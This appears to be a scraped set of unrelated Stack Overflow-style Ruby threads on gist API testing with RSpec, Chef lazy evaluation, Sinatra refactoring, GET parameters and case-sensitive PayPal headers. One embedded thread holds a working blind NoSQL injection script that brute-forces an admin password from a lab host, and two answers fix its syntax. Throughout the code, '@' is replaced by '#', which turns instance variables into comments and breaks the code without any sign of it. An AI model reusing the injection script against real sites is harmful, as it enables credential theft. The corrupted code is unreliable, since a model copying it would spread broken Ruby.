My code creates a github gist using the github API. After creating the gist, the API returns a status code to me. If the code is "201" the gist was created. But if it is "400" there was an error. In my code the variable that saves that state is response_status
This is my code:
require 'net/http'
require 'json'
require 'uri'
class Gist
attr_reader :response_status
attr_reader :try_again
def initialize(filename,description,state,content)
#filename = filename
#description = description
#state = state
#content = content
end
def post(uri, request)
request.basic_auth("my_username", "my_token")
request.body = JSON.dump({
"description" => #description,
"public" => #state,
"files" => {
#filename => {
"content" => #content
}
}
})
req_options = { use_ssl: uri.scheme == "https" }
begin
response = Net::HTTP.start(uri.hostname, uri.port, req_options) do |http|
http.request(request)
end
json = response.body
parsed = JSON.parse(json)
#response_status = "#{ response.code }"
if #response_status == "201"
puts "Tu gist se ha creado con exito. La URL de su gist es: "+ parsed["url"]
end
rescue SocketError => se
puts "Ha ocurrido un error de conexión. Quiere intentar nuevamente?"
#try_again = gets.chomp.capitalize
end
end
end
loop do
filename= gets.chomp
if File.exist?("#{filename}")
description = gets.chomp
state = gets.chomp.capitalize
if state == "Si"
state = true;
elsif state == "No"
state = false;
end
open(filename, "r") { |file| #contenido = file.read() }
content = #contenido
uri = URI.parse("https://api.github.com/gists")
request = Net::HTTP::Post.new(uri)
gist = Gist.new(filename,description,state,content)
gist.post(uri, request)
break if gist.response_status == "201"
break if gist.try_again == "No"
else
puts "The file does not exist"
continue = gets.chomp.capitalize
break if continue == "No"
end
end
I want to test test cases using rspec, but I did not understand.
It occurred to me as a test case that a Gist be created. For example, I thought about checking if the variable that returns the state of the Gist is equal to "201", but that didn't work for me.
This is my rspec file:
require './git_clases.rb'
RSpec.describe Gist do
describe "#Gist" do
it "#Gist created" do
expect(response_status)==("201")
end
end
end
response_status is a method on your Gist object. You need to create a Gist object, call post on it, and check response_status on your object.
RSpec.describe Gist do
# Generally organize by method
describe "#post" do
# Example descriptions read grammatically correct
# "Gist #post creates a gist"
it "creates a gist" do
filename = "test.txt"
description = "testing gist"
state = "dunno what goes here"
content = "some test content"
gist = described_class.new(filename, description, state, content)
uri = URI.parse("https://api.github.com/gists")
request = Net::HTTP::Post.new(uri)
gist.post(uri, request)
expect(gist.response_status).to eq 201
end
end
end
described_class is Gist from RSpec.describe Gist. It's preferable to hard coding the class name into the example in case that example becomes shared or the class name changes.
expect(gist.response_status).to eq 201 is really expect(gist.response_status).to( eq(201) ). This compares gist.response_status using the matcher eq(201) which just checks that it equals 201. This might seem a bit much for a simple equality check, but it allows rspec to provide a wide variety of complex matchers as well as custom ones.
Your post method is a bit odd in that the user is expected to initialize and pass in the URL and Request object. That should probably be done by Gist.
There is no need to turn the response_status into a string. It's preferable to leave it as an Integer. If you do need it as a string, use response.code.to_s.
Related
im doing one of the tasks to retrieve more information from the NoSQL database using ruby .everytime i run the code im getting syntax error
require 'httparty'
URL="ptl-eb7cd0e0-778a277a.libcurl.so"
def check?(str)
resp = HTTParty.get("http://#{URL}/?
search=admin%27%20%26%26%20this.password.match(/#{str}/)%00")
return resp.body =~ />admin</
end
#puts check?("d").inspect
#puts check?("aaa").inspect
CHARSET = ('a'..'z').to_a+('0'..'9').to_a+['-']
password = ""
While true
CHARSET.each do |c|
puts "Trying: #{c} for #{password}"
test = password+c
if check?("^#{test}.*$")
password+=c
puts password
break
end
end
end
There is a typo while is a keyword and need to be written in downcase.
require 'httparty'
URL = "ptl-eb7cd0e0-778a277a.libcurl.so"
def check?(str)
resp = HTTParty.get(
"http://#{URL}/?search=admin%27%20%26%26%20this.password.match(/#{str}/)%00"
)
return resp.body =~ />admin</
end
# puts check?("d").inspect
# puts check?("aaa").inspect
CHARSET = ('a'..'z').to_a + ('0'..'9').to_a + ['-']
password = ""
while true # `while` needs to be downcase
CHARSET.each do |c|
puts "Trying: #{c} for #{password}"
test = password + c
if check?("^#{test}.*$")
password += c
puts password
break
end
end
end
Btw. proper indention and some white improves readability a lot.
Its an issue with httparty gem.
First, install the same. also I made some changes in code.
The code is running but still not getting the result.
I have made below changes :
require 'httparty'
URL=(URI.encode 'myurl')
def check?(str)
resp = HTTParty.get(URI.encode "http://myurl/?search=admin%27%20%26%26%20this.password.match(#/{str}/)%00")
return resp.body =~ />admin
puts check?("5").inspect
puts check?("aaa").inspect
It is recommended to use URI.encode function.
I still trying to get the desired output.
I hope I will get the result.
You can modify the script or let me know if you had success in running the script.
Hello I'm new to Chef and Ruby.
I'm trying to make a recipe in Chef
To create a cron job on a server
based on a value of a variable that I get inside my ruby code.
Gem.clear_paths
node.default["value"] = "nil"
require 'net/http'
ruby_block "do-http-request-with-cutom-header" do
block do
Net::HTTP.get('example.com', '/index.html') # => String
uri = URI('http://example.com/index.html')
params = { :limit => 10, :page => 3 }
uri.query = URI.encode_www_form(params)
res = Net::HTTP.get_response(uri)
puts res.body if res.is_a?(Net::HTTPSuccess)
value= res.code
node["value"] = value
end
end
if node["value"] == "nil" then
cron "cassandra repair job" do
action :delete
end
else
cron "cassandra repair job" do
hour "0"
minute "55"
weekday node["value"]
mailto "root#localhost"
user "root"
command "/opt/cassandra/bin/nodetool repair -par -inc -pr"
end
end
I know that chef has Lazy Evaluation variable method and ruby code is executing on a converge phase, but I can not figure out the way to modify my code.
How can I use lazy evaluation in my code ?
node['value'] = value will create an attribute at the normal level, caveat, it is saved on the node object and stay there forever.
As you're using a volatile attribute coming from external source, you should use node.run_state['value'] which purpose is to keep transient value during the run.
Now, as you said it, you need to use lazy evaluation in your later resources for the value and for the action as you wish a different action depending of the external service return.
Example with update use of run_state here, untested code:
node.run_state['value'] = nil
node.run_state['action'] = :delete
require 'net/http'
ruby_block "do-http-request-with-cutom-header" do
block do
Net::HTTP.get('example.com', '/index.html') # => String
uri = URI('http://example.com/index.html')
params = { :limit => 10, :page => 3 }
uri.query = URI.encode_www_form(params)
res = Net::HTTP.get_response(uri)
puts res.body if res.is_a?(Net::HTTPSuccess)
value= res.code
node.run_state['value'] = value
node.run_state['action'] = :create
end
end
cron 'cassandra repair job' do
hour '0'
minute '55'
weekday lazy { node.run_state['value'] }
mailto 'root#localhost'
user 'root'
command '/opt/cassandra/bin/nodetool repair -par -inc -pr'
action lazy { node.run_state['action'] }
end
Using lazy on the action parameter is possible since chef 12.4, if you're under this you'll have to craft the resource and run it within the ruby block.
Example crafted from answer here (still untested):
ruby_block "do-http-request-with-cutom-header" do
block do
Net::HTTP.get('example.com', '/index.html') # => String
uri = URI('http://example.com/index.html')
params = { :limit => 10, :page => 3 }
uri.query = URI.encode_www_form(params)
res = Net::HTTP.get_response(uri)
puts res.body if res.is_a?(Net::HTTPSuccess)
if res.code.nil?
r = Chef::Resource::Cron.new "cassandra repair job"
r.run_action :delete
else
r = Chef::Resource::Cron.new "cassandra repair job"
r.hour "0"
r.minute "55"
r.weekday res.code
r.mailto "root#localhost"
r.user "root"
r.command "/opt/cassandra/bin/nodetool repair -par -inc -pr"
r.run_action :create
end
end
end
But at this point, it seems you would better get this information from a custom ohai plugin and use your original code without lazy.
I have a little sinatra api that I'm trying to beautify. Most of my routes are simple db operations but a few involve calling an external service before doing db operations. In all cases most of the code is the same except for how I respond to the service response. Is there any slick functional programming approach?
Here's an example of one of these routes:
get '/update_x' do
validateParams(params,:x)
xid = params[:x]
xName = getNameFromId(xid)
if xName
# Make request to proxy service
rid = generateRandomHexNumber(16) # generate requestId
params['m'] = 'set'
params['rid'] = rid
json = "{}"
begin
response = #resource["/"+"?rid=#{rid}&id=#{xid}&json=#{json}"].get
status = response.code
body = response.body
parsed_json = JSON(body)
if parsed_json['response'] and parsed_json['response']['success'] and parsed_json['response']['success']=='false'
msg = {:success => "false", :response => "unknown error"}
if parsed_json['response']['response']
msg = {:success => "false", :response => parsed_json['response']['response']}
end
content_type :json
msg.to_json
else
#### Here is stuff specific to this api call
updateDBHelper(xid,buildUpdateOptions(params))
params['ss_status'] = status
content_type :json
params.to_json
#### End specific to api call
end
rescue Exception=>e
params['ss_status'] = status
params['exception'] = e
content_type :json
params.to_json
end
else
msg = {:success => "false", :response => "Not found"}
content_type :json
msg.to_json
end
end
In general if you have a general pattern with some arbitrary code that changes every time then the simplest thing would be accepting a block with those customizations.
def make_api_request(some, params)
# do what you need to do
yield(variables, that, your_custom_code, needs)
# do some more, maybe cleanup
end
get '/some_route' do
make_api_request do |variables, that, your_custom_code, needs|
# do custom stuff here
end
end
How can I send HTTP GET request with parameters via ruby?
I have tried a lot of examples but all of those failed.
I know this post is old but for the sake of those brought here by google, there is an easier way to encode your parameters in a URL safe manner. I'm not sure why I haven't seen this elsewhere as the method is documented on the Net::HTTP page. I have seen the method described by Arsen7 as the accepted answer on several other questions also.
Mentioned in the Net::HTTP documentation is URI.encode_www_form(params):
# Lets say we have a path and params that look like this:
path = "/search"
params = {q: => "answer"}
# Example 1: Replacing the #path_with_params method from Arsen7
def path_with_params(path, params)
encoded_params = URI.encode_www_form(params)
[path, encoded_params].join("?")
end
# Example 2: A shortcut for the entire example by Arsen7
uri = URI.parse("http://localhost.com" + path)
uri.query = URI.encode_www_form(params)
response = Net::HTTP.get_response(uri)
Which example you choose is very much dependent on your use case. In my current project I am using a method similar to the one recommended by Arsen7 along with the simpler #path_with_params method and without the block format.
# Simplified example implementation without response
# decoding or error handling.
require "net/http"
require "uri"
class Connection
VERB_MAP = {
:get => Net::HTTP::Get,
:post => Net::HTTP::Post,
:put => Net::HTTP::Put,
:delete => Net::HTTP::Delete
}
API_ENDPOINT = "http://dev.random.com"
attr_reader :http
def initialize(endpoint = API_ENDPOINT)
uri = URI.parse(endpoint)
#http = Net::HTTP.new(uri.host, uri.port)
end
def request(method, path, params)
case method
when :get
full_path = path_with_params(path, params)
request = VERB_MAP[method].new(full_path)
else
request = VERB_MAP[method].new(path)
request.set_form_data(params)
end
http.request(request)
end
private
def path_with_params(path, params)
encoded_params = URI.encode_www_form(params)
[path, encoded_params].join("?")
end
end
con = Connection.new
con.request(:post, "/account", {:email => "test#test.com"})
=> #<Net::HTTPCreated 201 Created readbody=true>
I assume that you understand the examples on the Net::HTTP documentation page but you do not know how to pass parameters to the GET request.
You just append the parameters to the requested address, in exactly the same way you type such address in the browser:
require 'net/http'
res = Net::HTTP.start('localhost', 3000) do |http|
http.get('/users?id=1')
end
puts res.body
If you need some generic way to build the parameters string from a hash, you may create a helper like this:
require 'cgi'
def path_with_params(page, params)
return page if params.empty?
page + "?" + params.map {|k,v| CGI.escape(k.to_s)+'='+CGI.escape(v.to_s) }.join("&")
end
path_with_params("/users", :id => 1, :name => "John&Sons")
# => "/users?name=John%26Sons&id=1"
Although the HTTP spec says that headers are case insensitive; Paypal, with their new adaptive payments API require their headers to be case-sensitive.
Using the paypal adaptive payments extension for ActiveMerchant (http://github.com/lamp/paypal_adaptive_gateway) it seems that although the headers are set in all caps, they are sent in mixed case.
Here is the code that sends the HTTP request:
headers = {
"X-PAYPAL-REQUEST-DATA-FORMAT" => "XML",
"X-PAYPAL-RESPONSE-DATA-FORMAT" => "JSON",
"X-PAYPAL-SECURITY-USERID" => #config[:login],
"X-PAYPAL-SECURITY-PASSWORD" => #config[:password],
"X-PAYPAL-SECURITY-SIGNATURE" => #config[:signature],
"X-PAYPAL-APPLICATION-ID" => #config[:appid]
}
build_url action
request = Net::HTTP::Post.new(#url.path)
request.body = #xml
headers.each_pair { |k,v| request[k] = v }
request.content_type = 'text/xml'
proxy = Net::HTTP::Proxy("127.0.0.1", "60723")
server = proxy.new(#url.host, 443)
server.use_ssl = true
server.start { |http| http.request(request) }.body
(i added the proxy line so i could see what was going on with Charles - http://www.charlesproxy.com/)
When I look at the request headers in charles, this is what i see:
X-Paypal-Application-Id ...
X-Paypal-Security-Password...
X-Paypal-Security-Signature ...
X-Paypal-Security-Userid ...
X-Paypal-Request-Data-Format XML
X-Paypal-Response-Data-Format JSON
Accept */*
Content-Type text/xml
Content-Length 522
Host svcs.sandbox.paypal.com
I verified that it is not Charles doing the case conversion by running a similar request using curl. In that test the case was preserved.
The RFC does specify that header keys are case-insensitive, so unfortunately you seem to have hit an annoying requirement with the PayPal API.
Net::HTTP is what is changing the case, although I'm surprised they're not all getting downcased:
# File net/http.rb, line 1160
def []=(key, val)
unless val
#header.delete key.downcase
return val
end
#header[key.downcase] = [val]
end
"Sets the header field corresponding to the case-insensitive key."
As the above is a simple class it could be monkey-patched. I will think further for a nicer solution.
Use following code to force case sensitive headers.
class CaseSensitivePost < Net::HTTP::Post
def initialize_http_header(headers)
#header = {}
headers.each{|k,v| #header[k.to_s] = [v] }
end
def [](name)
#header[name.to_s]
end
def []=(name, val)
if val
#header[name.to_s] = [val]
else
#header.delete(name.to_s)
end
end
def capitalize(name)
name
end
end
Usage example:
post = CaseSensitivePost.new(url, {myCasedHeader: '1'})
post.body = body
http = Net::HTTP.new(host, port)
http.request(post)
If you are still looking for an answer that works. Newer versions have introduced some changes to underlying capitalize method by using to_s. Fix is to make the to_s and to_str return the self so that the returned object is an instance of ImmutableKey instead of the base string class.
class ImmutableKey < String
def capitalize
self
end
def to_s
self
end
alias_method :to_str, :to_s
end
Ref: https://jatindhankhar.in/blog/custom-http-header-and-ruby-standard-library/
I got several issues with the code proposed by #kaplan-ilya because the Net::HTTP library tries to detect the post content-type, and the I ended up with 2 content-type and other fields repeated with different cases.
So the code below should ensure than once a particular case has been choosen, it will stick to the same.
class Post < Net::HTTP::Post
def initialize_http_header(headers)
#header = {}
headers.each { |k, v| #header[k.to_s] = [v] }
end
def [](name)
_k, val = header_insensitive_match name
val
end
def []=(name, val)
key, _val = header_insensitive_match name
key = name if key.nil?
if val
#header[key] = [val]
else
#header.delete(key)
end
end
def capitalize(name)
name
end
def header_insensitive_match(name)
#header.find { |key, _value| key.match Regexp.new(name.to_s, Regexp::IGNORECASE) }
end
end